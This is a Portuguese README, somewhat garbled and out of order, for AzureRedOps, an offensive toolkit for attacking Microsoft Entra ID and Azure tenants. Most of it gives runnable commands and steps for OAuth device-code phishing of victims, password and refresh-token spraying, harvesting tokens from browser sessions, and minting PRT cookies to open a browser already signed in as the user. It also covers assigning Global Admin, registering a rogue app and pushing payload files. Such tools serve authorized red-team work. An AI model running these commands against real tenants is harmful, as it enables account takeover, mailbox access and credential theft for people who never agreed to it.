
Azure RedOps é um kit de ferramentas de segurança ofensiva para avaliar a postura de segurança do Microsoft Entra ID
Uma ferramenta multifuncional para testes de invasão no Azure / Entra ID.
Autor: Mr.Un1k0d3r (TrueCyber Inc) Versão: 0.1 Linguagem: Python 3.12+
O AzureRedOps é um kit de ferramentas de segurança ofensiva para avaliar a postura de segurança de tenants do Microsoft Entra ID e Azure. Ele encapsula os fluxos de trabalho de equipe vermelha mais comuns — autenticação, gerenciamento de tokens, enumeração de diretório, verificação de privilégios, pulverização de senhas e ações de pós-exploração contra o Microsoft Graph — em uma CLI consistente orientada por --activity.
Cada operação é selecionada com -a/--activity. Os tokens obtidos durante a autenticação podem ser armazenados em cache localmente (.azure_creds) e reutilizados pelo nome com -l/--load-access-token, para que você raramente precise colar JWTs brutos.
Saiba mais sobre a ferramenta no blog da CYPFER
.azure_creds). Qualquer fluxo pode persistir seus tokens automaticamente com -s/--save + -n/--name.auth) — autenticação direta por nome de usuário/senha.phish-start / phish-capture) — abusa da concessão de autorização de dispositivo OAuth para capturar tokens emitidos quando um alvo insere seu código de usuário em microsoft.com/devicelogin. Captura automaticamente por padrão.auth-app) — fluxo completo de Código de Autorização + PKCE contra um registro de aplicativo personalizado, servido por um listener HTTPS local embutido que recebe o redirecionamento.auth-interactive) — conduz um navegador real (Playwright; Firefox por padrão, -br para alternar) (lida com MFA / Acesso Condicional / SSO) e então coleta todos os tokens da sessão HAR gravada.requirements.txt):
PyJWTrequestsplaywrightcryptography (necessário apenas para browser-sso -aprt, o fluxo automático de PRT)auth-interactive, browser-sso). Firefox é o mecanismo padrão (-br/--browser); instale-o com python -m playwright install firefox.includes/web/cert.pem e includes/web/key.pem (necessário apenas para o fluxo PKCE auth-app — veja ).git clone AzureRedOps cd AzureRedOps
python3 -m venv AzureRedOps source AzureRedOps/bin/activate # Linux / macOS
pip install -r requirements.txt
python -m playwright install firefox
Execute a ferramenta:```bash
python3 AzureRedOps.py -a <activity> [options]
O padrão geral de invocação é:```bash python3 AzureRedOps.py -a [authentication] [activity options] [global options]
### Fornecendo um token
Atividades que chamam o Microsoft Graph precisam de um token de acesso. Você pode fornecê-lo de duas maneiras:
| Método | Flag | Exemplo |
|--------|------|---------|
| Passar um token bruto | `-ac, --access-token` | `-ac eyJ0eXAi...` |
| Carregar um token em cache pelo nome | `-l, --load-access-token` | `-l mytoken` |
Quando `-l` é usado, o `access_token` correspondente (e, quando relevante, `refresh_token`
e `tenant`) é lido do armazenamento `.azure_creds`.
### Salvando tokens em um arquivo (`-s` / `-n`)
Qualquer atividade que obtenha tokens (`auth`, `auth-app`, `auth-interactive`,
`phish-start`/`phish-capture`, `refresh`) pode **persisti-los automaticamente** no
armazenamento local de credenciais (`.azure_creds`) ao adicionar `-s/--save` junto com
`-n/--name`:```bash
# Authenticate and save the resulting tokens under the name "victim1"
python3 AzureRedOps.py -a auth -u [email protected] -p 'P@ssw0rd!' -tid <tenant-guid> -s -n victim1
-s/--save ativa o salvamento automático; requer -n/--name — a ferramenta sai com um
erro se -n estiver faltando.-n/--name é a chave sob a qual o token é armazenado. Você pode reutilizá-lo posteriormente com
-l victim1 em vez de colar o JWT bruto, visualizá-lo com -a view -n victim1, ou
excluí-lo com -a delete -n victim1.auth-interactive sempre salva automaticamente e solicitará um nome
interativamente se -n não for fornecido.-j)A maioria das atividades de enumeração (list-users, list-applications, list-principals,
gather-all, raw-url) aceita -j/--json <filename> para escrever a resposta bruta da API
em um arquivo JSON em vez de (ou além de) imprimi-la:```bash
python3 AzureRedOps.py -a list-users -l victim1 -j users.json
Para `gather-all`, o nome do arquivo fornecido é usado como sufixo e um arquivo é escrito
por endpoint do Graph (ex.: `users-<name>`, `groups-<name>`, ...).
> Dica: `-j` controla a exportação JSON estruturada, enquanto `-re/--redirect-to-file` espelha
> a saída do console formatada para `output.txt`. Os dois são independentes.
### Identificadores do inquilino
- `-t, --tenant` espera um **nome de domínio** (ex.: `contoso.com`) e é usado pela atividade `id`.
- `-tid, --tenant-id` espera um **GUID do inquilino** ou `common`, usado pelas atividades de autenticação.
---
## Opções de Linha de Comando
| Curto | Longo | Padrão | Descrição |
|-------|-------|--------|-----------|
| `-a` | `--activity` | `id` | **(obrigatório)** Atividade a ser realizada (veja [Atividades](#activities)). |
| `-ac` | `--access-token` | | Token de acesso do Azure. |
| `-n` | `--name` | | Nome usado para salvar/carregar um token, ou nome de exibição para `register-app`/`new-group`/`invite`. |
| `-t` | `--tenant` | | Nome de **domínio** do inquilino do Azure (usado por `id`). |
| `-c` | `--devicecode` | | Código do dispositivo (usado por `phish-capture`). |
| `-tid` | `--tenant-id` | | **ID** do inquilino do Azure (GUID) ou `common`. |
| `-app` | `--appid` | `d3590ed6-52b3-4102-aeff-aad2292ab01c` | ID do aplicativo (cliente). |
| `-e` | `--endpoint` | `microsoftonline.com` | Domínio do endpoint de login para alvo. |
| `-r` | `--refresh-token` | | Token de atualização de autenticação. |
| `-as` | `--auto-start` | `True` | Iniciar automaticamente a captura do código do dispositivo após `phish-start`. |
| `-l` | `--load-access-token` | | Carregar um token em cache pelo nome de `.azure_creds`. |
| `-j` | `--json` | | Salvar a saída da atividade no arquivo JSON fornecido. |
| `-fl` | `--filter` | | Imprimir apenas atributos cuja chave corresponda a um destes (separados por vírgula). |
| `-u` | `--username` | | Nome principal do usuário (email). |
| `-p` | `--password` | | Senha do usuário. |
| `-s` | `--save` | `False` | Salvar automaticamente os tokens obtidos em `.azure_creds` (**requer `-n`**). |
| `-cp` | `--check-privileges` | `False` | Após um login de spray bem-sucedido, verificar se usuários/aplicativos podem ser enumerados. |
| `-uid` | `--uid` | | ID do objeto do usuário do Azure (usado por `add-group`). |
| `-headers` | `--headers` | | Cabeçalhos HTTP extras como JSON, ex.: `{"X-Foo": "bar"}`. |
| `-gid` | `--gid` | `62e90394-69f5-4237-91f9-056ad24d70a7` | ID de função de diretório / grupo (padrão = **Administrador Global**). |
| `-i` | `--id` | `False` | Para `interest`: imprimir apenas os IDs do aplicativo. |
| `-ty` | `--type` | | Para `interest`: filtrar para uma categoria específica. |
| `-fp` | `--filepath` | | Arquivo para fazer upload (`push-file`) ou lista de aplicativos personalizada para spraying. |
| `-v` | `--version` | `v2.0` | Versão da API de autenticação: `v0` ou `v2.0`. |
| `-ua` | `--user-agent` | *(string UA Chrome)* | Substituir o `User-Agent` HTTP. |
| `-au` | `--audience` | `https://graph.microsoft.com` | Público-alvo/recurso do token. |
| `-sc` | `--scope` | `openid offline_access` | Escopo OAuth2. Use `https://graph.microsoft.com/.default` para Graph, `openid` para spraying. |
| `-url` | `--url` | | URL alvo para `raw-url`/`invite`; lista separada por vírgula de URLs para `auth-interactive`. |
| `-beta` | `--beta` | `False` | Usar o endpoint **beta** do Microsoft Graph para `list-users`/`list-applications`. |
| `-exp` | `--expand` | `False` | Expandir listas/dicionários aninhados na saída para um formato legível por humanos. |
| `-k` | `--keep` | `False` | Manter o arquivo `session.har` após `auth-interactive` / `browser-sso`. |
| `-cs` | `--client-secret` | | Segredo de cliente confidencial usado pela concessão `obo` On-Behalf-Of. |
| `-prt` | `--prt-cookie` | | Valor do cookie PRT (`x-ms-RefreshTokenCredential`) para semear SSO do navegador para `browser-sso`. |
| `-br` | `--browser` | `firefox` | Mecanismo do navegador Playwright para os fluxos do navegador (`auth-interactive`, `browser-sso`). Um de `firefox`, `chromium`, `webkit`. |
| `-aprt` | `--auto-prt` | `False` | Para `browser-sso`: emitir automaticamente um cookie PRT a partir do token de atualização (registro de dispositivo → PRT → `x-ms-RefreshTokenCredential`) para que o navegador abra **já autenticado**. Requer `cryptography` e um token de atualização FOCI/broker. |
| `-d` | `--debug` | `False` | Habilitar log de depuração. |
| `-dd` | `--verbose-debug` | `False` | Habilitar log detalhado de requisição/resposta HTTP. |
| `-re` | `--redirect-to-file` | `False` | Espelhar toda a saída do console para `output.txt`. |
---
## Atividades
Abaixo, cada atividade lista seus argumentos **obrigatórios** e *opcionais*.
'Token' significa que `-ac` ou `-l` é obrigatório.
### Gerenciamento de Token
| Atividade | Obrigatório | Opcional | Descrição |
|-----------|-------------|----------|-----------|
| `save` | `-ac`, `-n` | `-tid`, `-r` | Salvar um token de acesso (e token de atualização opcional) em `.azure_creds`. |
| `list-token` | — | — | Listar os nomes de todos os tokens salvos. |
| `view` | `-n` | — | Decodificar e exibir as declarações JWT de um token salvo. |
| `delete` | `-n` | — | Remover um token salvo do armazenamento. |```bash
# Save a token under the name "mytoken"
python3 AzureRedOps.py -a save -n mytoken -ac eyJ0eXAi... -r 0.AReAB... -tid <tenant-guid>
# List, view, delete
python3 AzureRedOps.py -a list-token
python3 AzureRedOps.py -a view -n mytoken
python3 AzureRedOps.py -a delete -n mytoken
python3 AzureRedOps.py -a id -t contoso.com
python3 AzureRedOps.py -a phish-start -tid common -app d3590ed6-52b3-4102-aeff-aad2292ab01c
python3 AzureRedOps.py -a phish-capture -c -tid common
python3 AzureRedOps.py -a auth -u [email protected] -p 'P@ssw0rd!' -tid
python3 AzureRedOps.py -a auth-interactive -url https://portal.azure.com -s -n harvested
python3 AzureRedOps.py -a refresh -l mytoken -app d3590ed6-52b3-4102-aeff-aad2292ab01c
python3 AzureRedOps.py -a obo -l mytoken -tid -app -cs -au https://graph.microsoft.com
python3 AzureRedOps.py -a browser-sso -l mytoken -url outlook -prt
#### Como os fluxos de autenticação funcionam
O AzureRedOps implementa várias formas distintas de obter tokens. Escolha aquela que
se adequa ao seu engajamento; todas respeitam `-s/-n` para salvar automaticamente o resultado.
##### Phishing com código de dispositivo (`phish-start` / `phish-capture`)
A **concessão de autorização de dispositivo** do OAuth 2.0 é projetada para dispositivos
com restrição de entrada, o que a torna uma primitiva de phishing poderosa: você solicita um código
em nome de um aplicativo Microsoft de primeira parte e, em seguida, faz engenharia social para que um
alvo insira esse código em `https://microsoft.com/devicelogin` enquanto está logado em sua conta.
Assim que o fizer, os tokens são emitidos **para você**.
- `phish-start` solicita um código de dispositivo e imprime o **código de usuário**, a URL de login
e o **código de dispositivo** bruto. Como `-as/--auto-start` padrão é `True`, ele então
começa imediatamente a consultar o token — então simplesmente executar `phish-start` e
entregar o código de usuário ao alvo geralmente é tudo que você precisa.
- `phish-capture` é a contraparte manual: forneça a ele um código de dispositivo obtido anteriormente
com `-c/--devicecode` e ele consulta o endpoint do token até que a vítima complete o
login (a ferramenta tenta novamente silenciosamente enquanto a autorização estiver pendente).
- Use `-app/--appid` para personificar um cliente específico de primeira parte e `-tid/--tenant-id`
para definir o escopo para um inquilino (`common` por padrão). Dica: defina o escopo para
`'https://graph.microsoft.com/.default offline_access openid'` para obter um token pronto para Graph
com um token de atualização.```bash
# Start a device-code session (auto-captures the token once the victim logs in)
python3 AzureRedOps.py -a phish-start -tid common -s -n phished
# Or capture against a code you generated separately
python3 AzureRedOps.py -a phish-capture -c <device-code> -tid common -s -n phished
auth-app)auth-app executa um fluxo completo de Código de Autorização com PKCE contra um registro de aplicação de terceiros (não padrão). A ferramenta inicia um listener HTTPS local (includes/Webserver.py, em https://localhost:2342) que atua como URI de redirecionamento OAuth, gera o par code_verifier/code_challenge do PKCE e imprime um URL de autorização para você abrir no navegador. Após o consentimento, o Azure redireciona o código de autorização de volta para o listener local, que a ferramenta então troca por tokens.
Este é o fluxo a ser usado quando você controla (ou registrou) uma aplicação e deseja conduzir o consentimento através de uma sessão real de navegador — útil para cenários de consentimento ilícito ou quando ROPC está bloqueado.
includes/web/cert.pem e includes/web/key.pem (veja Notas para saber como gerá-los).8545b2fc-a69c-4851-9206-0f74a519fe5f.```bash
python3 AzureRedOps.py -a auth-app -tid -s -n consented##### Autenticação interativa no navegador (`auth-interactive`)
`auth-interactive` inicia um **navegador real via Playwright** (Firefox por padrão; escolha o motor com `-br/--browser`) e permite que o operador (ou um alvo numa sessão compartilhada) complete um login interativo — incluindo MFA, Acesso Condicional e redirecionamentos federados/SSO que fluxos scriptados não conseguem satisfazer. Toda a sessão do navegador é gravada num arquivo HAR (`session.har`); a ferramenta então analisa essa captura, extrai **todos** os pares de token de acesso/atualização vistos no endpoint `/oauth2/v2.0/token`, decodifica cada JWT, e permite que você escolha qual(is) salvar.
- `-url/--url` define a(s) página(s) para navegar após o carregamento da página de login. Aceita uma **lista separada por vírgulas** de URLs (ex.: `https://portal.azure.com,https://outlook.office.com`) para que você possa coletar tokens para múltiplos recursos numa única sessão. O padrão é `https://portal.azure.com`.
- Esta atividade **sempre salva automaticamente**: após a colheita, pergunta qual(is) índice(s) de token manter e um nome para armazená-los.
- Adicione `-k/--keep` para preservar `session.har` para análise offline (é excluído por padrão).```bash
# Log in interactively and harvest tokens for two resources
python3 AzureRedOps.py -a auth-interactive -url https://portal.azure.com,https://outlook.office.com -k
obo)obo implementa o fluxo On-Behalf-Of do OAuth 2.0 (grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer).
Ele usa um token de acesso já emitido como a afirmação e o troca por um token novo com escopo para um recurso downstream diferente — sem reautenticar o usuário.
-ac/--access-token ou um token em cache via -l/--load-access-token.-app/--appid + -cs/--client-secret identificam o cliente confidencial que realiza a troca. O Entra ID exige que este cliente seja o público-alvo (aud) do token de afirmação; uma incompatibilidade falha com AADSTS500131/AADSTS50013.-au/--audience (padrão https://graph.microsoft.com, convertido em <audience>/.default) ou um escopo completo com -sc/--scope.-s/-n.```bashpython3 AzureRedOps.py -a obo -l mytoken -tid
-app -cs -au https://graph.microsoft.com -s -n obo-graph
##### Logon único de token para navegador (`browser-sso`)
`browser-sso` abre um **navegador real que já está autenticado como o usuário** — você
não clica em nada e cai diretamente dentro, por exemplo, do **Outlook na web**. Este é o
fluxo "apenas abra o navegador e obtenha uma sessão válida". O navegador obtém sua sessão de uma
de três maneiras, em ordem de preferência:
**1. `-aprt/--auto-prt` — criar automaticamente um cookie PRT (recomendado).**
O token de atualização é transformado em um **Token de Atualização Primário (PRT)** e seu cookie de navegador
inteiramente pela ferramenta, então semeado para que o ESTS da Entra complete o SSO sem login manual. A
cadeia (em `includes/PRT.py`, o protocolo ROADtoken / roadtx / AADInternals) é:
1. Resgatar o token de atualização por um token de **registro de dispositivo (DRS)**.
2. **Registrar um dispositivo** no Azure AD → certificado do dispositivo + chave de transporte.
3. Solicitar um **PRT + chave de sessão** com o token de atualização, assinado pelo certificado do dispositivo.
4. **Derivar o cookie `x-ms-RefreshTokenCredential`** (KDFv2: SP800-108 KDF sobre `SHA256(ctx‖decoded-payload-bytes)` → JWT assinado com HS256; KDFv1 → `AADSTS5000611`, bytes-errados → `AADSTS50058`)
e semeá-lo em um contexto de navegador limpo.
O cookie é semeado com `SameSite=None` e consumido via um **aquecimento `/authorize` do ESTS de nível superior**
(o cliente `landingv2` do Office) para que o cookie de sessão `ESTSAUTH` seja cunhado
como first-party — após o qual o aplicativo de destino abre já conectado. O cookie é derivado com
um novo nonce pouco antes de navegar e tentado novamente uma vez; se o SSO ainda não puder completar, a ferramenta
verifica `prompt=none` e imprime o motivo exato do `AADSTS` (ex.: Acesso Condicional exigindo um
dispositivo compatível/gerenciado, ou MFA — nenhum dos quais é contornável com um dispositivo recém-registrado).
O PRT, a chave de sessão e o cookie são impressos (com uma dica `-prt "<value>"` pronta para copiar)
para que você possa reutilizá-los mais tarde sem reexecutar a cadeia.
> **Requisitos e opsec para `-aprt`:**
> - Precisa do pacote **`cryptography`** (`pip install cryptography`; ele está em
> `requirements.txt`).
> - O token de atualização deve pertencer a um **cliente FOCI / broker** — ex.: um capturado por
> **phishing de código de dispositivo no Microsoft Authentication Broker**
> (`29d9ed98-a469-4536-ade2-f981bc1d605e`), que é exatamente o que a isca de código de dispositivo do SharePoint/OneDrive
> produz. O `-app` padrão (cliente Microsoft Office FOCI) também funciona.
> - **O registro de dispositivo escreve um objeto de dispositivo no tenant** — não é silencioso e
> deixa um artefato (e exige que o usuário tenha permissão para ingressar/registrar dispositivos).
**2. `-prt/--prt-cookie` — semear um cookie PRT que você já possui.**
Se você já possui um valor `x-ms-RefreshTokenCredential` (de uma execução anterior do `-aprt`, ou
de um host comprometido via `ROADtoken`/`browsercore` ou `Mimikatz`), passe-o diretamente e
pule a cadeia de criação.
**3. Nenhum dos dois — converter o token e fazer login manualmente (fallback).**
Sem um cookie PRT, o token de atualização é resgatado por um token de acesso/atualização com escopo de recurso
(impresso e salvo com `-s/-n`), e o navegador é aberto no destino para você
finalizar o login manualmente.
**Coleta de PRT / cookies de sessão.** Quando a sessão do navegador termina (tempo limite de fechamento automático ou
você fecha a janela), `browser-sso` lê o contexto do navegador ao vivo e **imprime todos os
cookies SSO reutilizáveis que foram emitidos** — o cookie PRT (`x-ms-RefreshTokenCredential`) e
os cookies de sessão do ESTS (`ESTSAUTH`, `ESTSAUTHPERSISTENT`, ...) — cada um com uma dica
`-prt` pronta para copiar para que você possa reproduzi-los na próxima vez. Os cookies são verificados enquanto a sessão estiver ativa,
para que o valor seja capturado mesmo se você fechar a janela cedo. A mesma coleta é executada ao final
de `auth-interactive`.
- `-url/--url` seleciona o destino. Use um predefinido amigável — `outlook`, `office`, `teams`,
`sharepoint`, `onedrive`, `portal`, `graph` — ou passe uma ou mais URLs `https://` brutas
(separadas por vírgulas). O padrão é `outlook`.
- `-r/--refresh-token` + `-tid` (ou um `-l` em cache) fornece o token de atualização.
`-app/--appid` assume como padrão o cliente Microsoft Office FOCI.
- `-br/--browser` escolhe o mecanismo do Playwright (Firefox por padrão).
- `-k/--keep` preserva a gravação `session.har` da sessão do navegador.```bash
# BEST: auto-mint a PRT from a device-code-phished (broker) token and drop straight
# into an authenticated Outlook on the web — no manual login.
python3 AzureRedOps.py -a browser-sso -l phished -url outlook -aprt
# Seed a PRT cookie you already have
python3 AzureRedOps.py -a browser-sso -l mytoken -url outlook -prt <x-ms-RefreshTokenCredential>
# Target Teams from a raw refresh token, auto-mint the PRT, keep the session recording
python3 AzureRedOps.py -a browser-sso -r 0.AReAB... -tid <tenant-guid> -url teams -aprt -k
python3 AzureRedOps.py -a self -l mytoken
python3 AzureRedOps.py -a list-users -l mytoken -beta -j users.json -fl displayName,userPrincipalName
python3 AzureRedOps.py -a register-app -n EvilApp -l mytoken
python3 AzureRedOps.py -a add-group -uid -l mytoken
python3 AzureRedOps.py -a push-file -fp ./payload.docx -n payload.docx -l mytoken
python3 AzureRedOps.py -a raw-url -url "https://graph.microsoft.com/beta/users" -l mytoken
python3 AzureRedOps.py -a invite -n [email protected] -url https://example.com/invite -l mytoken
python3 AzureRedOps.py -a magic-app -l mytoken
### Pulverização de Senhas
| Atividade | Obrigatório | Opcional | Descrição |
|-----------|-------------|----------|-------------|
| `spray` | `-u`, `-p`, `-tid` | `-fp`, `-cp` | Pulverizar credenciais contra IDs de aplicativos de primeira parte conhecidos (APIs v0 + v2.0). |
| `spray-refresh` | `-v`, and (`-l`) **or** (`-r` + `-tid`) | `-fp`, `-cp` | Reproduzir um token de atualização em muitos IDs de aplicativos. |
Por padrão, ambas as atividades usam `includes/auth_apps.json` como fonte de aplicativos; substitua com `-fp`. Adicione `-cp` para testar se cada login bem-sucedido pode enumerar usuários/aplicativos.```bash
# Spray a single credential across first-party apps
python3 AzureRedOps.py -a spray -u [email protected] -p 'P@ssw0rd!' -tid <tenant-guid> -cp
# Cross-app refresh spraying from a saved token
python3 AzureRedOps.py -a spray-refresh -l mytoken -v v2.0
---
## Saída & Arquivos Gerados
| Arquivo | Criado por | Descrição |
|--------|-----------|-------------|
| `.azure_creds` | Atividades de salvamento de tokens | Cache local JSON de tokens de acesso/atualização, indexados por nome. |
| `output.txt` | flag `-re` | Espelho com timestamp de toda a saída do console. |
| `session.har` | `auth-interactive` / `browser-sso` | Gravação de sessão do navegador (excluída a menos que `-k` esteja definido). |
| `<name>.json` | flag `-j` / `gather-all` | Respostas de API salvas. |
### Arquivos de dados incluídos
| Arquivo | Descrição |
|--------|-------------|
| `includes/auth_apps.json` | IDs de aplicativo alvo usados para pulverização (spraying) e as listas `interest`. |
| `includes/apps.json` | IDs de aplicativo conhecidos da Microsoft e metadados para `knownids`. |
| `includes/Webserver.py` | Listener HTTPS local implementando o redirecionamento PKCE para `auth-app`. |
| `includes/PRT.py` | Cadeia de cunhagem de PRT (registro de dispositivo → PRT → cookie `x-ms-RefreshTokenCredential`) usada por `browser-sso -aprt`. |
| `includes/web/cert.pem`, `includes/web/key.pem` | Material TLS para o listener local. |
---
## Notas & Dicas
- **ID de aplicativo padrão** (`d3590ed6-52b3-4102-aeff-aad2292ab01c`) é o cliente interno (first-party) do Microsoft Office, que funciona para a maioria dos fluxos. As dicas impressas por algumas atividades sugerem estender os tokens para o aplicativo **Microsoft Azure CLI** (`04b07795-8ddb-461a-bbee-02f9e1bf7b46`) para acesso mais amplo.
- **Orientação de escopo:** use `-sc openid` para password spraying e `-sc 'https://graph.microsoft.com/.default'` para operações no Graph.
- **`--beta`** altera `list-users` / `list-applications` para o endpoint beta do Graph, que pode exibir informações extras (por exemplo, atributos de sincronização local (on-prem)).
- **`auth-app` TLS:** o listener PKCE local requer um par de certificado/chave em `includes/web/cert.pem` e `includes/web/key.pem`. Gere um par autoassinado se estiverem faltando, por exemplo: ```bash
openssl req -x509 -newkey rsa:2048 -nodes \
-keyout includes/web/key.pem -out includes/web/cert.pem -days 365 -subj "/CN=localhost"
-d exibe informações de depuração de alto nível; -dd despeja requisições e respostas HTTP completas (cabeçalhos + corpos) — útil ao diagnosticar falhas na troca de tokens.-br/--browser). Os fluxos de navegador (auth-interactive, browser-sso) executam um navegador Playwright com interface gráfica. O mecanismo padrão é firefox (o mecanismo com interface gráfica mais confiável no WSLg); altere com -br chromium ou -br webkit. Instale o mecanismo escolhido uma vez com python -m playwright install <engine>./dev/dxg, conduzida pelo driver Mesa d3d12) que o processo de GPU/compositor do navegador tenta usar, enquanto o /dev/shm padrão da VM WSL é minúsculo (frequentemente 64 MB). A combinação — o processo de GPU gira em um dispositivo que não consegue acionar e o compositor de memória compartilhada esgota — então nada renderiza e a VM incha até que o host Windows comece a travar. Um fator secundário foi : a página de login da Microsoft faz long-polling, então nunca dispara e a navegação bloqueia em uma página em branco até o timeout.
Criado por Mr.Un1k0d3r — TrueCyber Inc.
refresh) — troca um token de atualização por tokens de acesso novos.obo) — troca um token de acesso já emitido por um novo token com escopo para um recurso downstream (OAuth 2.0 jwt-bearer / OBO).browser-sso) — abre um navegador real já autenticado como o usuário diretamente no aplicativo web alvo (Outlook na web, Teams, SharePoint, portal do Azure, ...). Com -aprt/--auto-prt, ele gera automaticamente um cookie Primary Refresh Token (PRT) a partir de um token de atualização (registro do dispositivo → PRT → x-ms-RefreshTokenCredential), para que um navegador novo complete o single sign-on sem login manual.gather-all.spray) e pulverização de token de atualização entre aplicativos (spray-refresh).magic-app encontra aplicativos redirecionáveis publicamente com consentimento AllPrincipals; listas internas de IDs de aplicativos conhecidos/interessantes da Microsoft.| Atividade | Obrigatório | Opcional | Descrição |
|---|
id | -t | — | Resolve o ID do locatário para um domínio de e-mail fornecido. |
phish-start | — | -app, -tid, -as, -s, -n | Inicia um fluxo de código de dispositivo; exibe o código do usuário e (por padrão) captura automaticamente. |
phish-capture | -c | -app, -tid, -s, -n | Consulta tokens usando um código de dispositivo emitido anteriormente. |
auth | -u, -p, -tid, -app, -v | -s, -n | Autentica com nome de usuário/senha (ROPC). |
auth-app | -tid | -s, -n | Fluxo de Código de Autorização + PKCE através de um listener HTTPS local. |
auth-interactive | — | -url, -k, -n | Abre um navegador (Playwright), permite que o usuário faça login e extrai tokens do HAR da sessão. Sempre salva automaticamente. |
refresh | -v, -app, e (-l) ou (-r + -tid) | -s, -n | Troca um token de atualização por um novo token de acesso. |
obo | -tid, -app, e (-ac) ou (-l) | -cs, -au, -sc, -s, -n | On-Behalf-Of: troca um token de acesso emitido por um token com escopo para outro recurso. |
browser-sso | -app, e (-l) ou (-r + -tid) | -aprt, -url, -prt, -v, -k, -s, -n | Abre um navegador já autenticado como o usuário. Adicione -aprt para gerar automaticamente um cookie PRT a partir do token de atualização, forneça um já pronto com -prt, ou recorra à conversão do token + login manual. |
| Atividade | Obrigatório | Opcional | Descrição |
|---|
self | Token | — | Exibe o perfil do usuário atual (/me). |
email | Token, -fl | — | Pesquisa a caixa de correio do usuário autenticado por uma palavra-chave. |
permission | Token | — | Mostra a política de autorização do tenant (beta). |
list-users | Token | -j, -beta, -fl, -exp | Enumera todos os usuários. |
list-applications | Token | -j, -beta, -fl, -exp | Enumera todas as aplicações. |
list-principals | Token | -j, -fl, -exp | Enumera todos os service principals. |
register-app | Token, -n | — | Registra uma nova aplicação (com um segredo de cliente de 1 ano). |
new-group | Token, -n | — | Cria um novo grupo de segurança. |
add-group | Token, -uid | -gid | Atribui uma função de diretório a um principal (função padrão = Global Admin). |
push-file | Token, -fp, -n | — | Envia um arquivo local para o OneDrive do usuário. |
gather-all | Token | -j | Coleta em massa usuários, grupos, apps, SPs, funções, políticas e concessões. |
raw-url | Token, -url | -j, -fl, -exp | Emite um GET bruto para qualquer URL Graph/REST (gerencia paginação @odata.nextLink). |
invite | Token, -n | -url | Convida um usuário externo (convidado). -n é o e-mail do convidado. |
magic-app | Token | — | Encontra aplicativos com consentimento AllPrincipals, appRoleAssignmentRequired=false e URIs de redirecionamento públicos. |
| Atividade | Obrigatório | Opcional | Descrição |
|---|
knownids | — | -fl, -exp | Lista IDs de aplicativos Microsoft conhecidos (includes/apps.json). |
list-interest | — | — | Lista as categorias de aplicativos definidas em includes/auth_apps.json. |
interest | — | -i, -ty | Lista IDs de aplicativos interessantes; -i exibe apenas IDs, -ty filtra por categoria. |
| python3 AzureRedOps.py -a knownids | |||
| python3 AzureRedOps.py -a list-interest | |||
| python3 AzureRedOps.py -a interest -ty all_users | |||
| python3 AzureRedOps.py -a interest -i # IDs only |
/dev/shmpage.goto(..., wait_until="networkidle")networkidle--no-sandbox --disable-gpu --disable-dev-shm-usage, Firefox recebe gfx.webrender.force-disabled / layers.acceleration.disabled — recorrendo à renderização por CPU (software) para que a página ainda renderize e seja totalmente interativa. Cada navegação agora espera por domcontentloaded em vez de networkidle. Você deve ver um navegador funcionando./dev/shm (sudo mount -o remount,size=1g /dev/shm), certifique-se de estar no WSL 2 com WSLg (wsl --update; echo $DISPLAY deve ser não vazio), e confirme que o runtime do navegador está instalado no venv (python -m playwright install firefox e python -m playwright install-deps).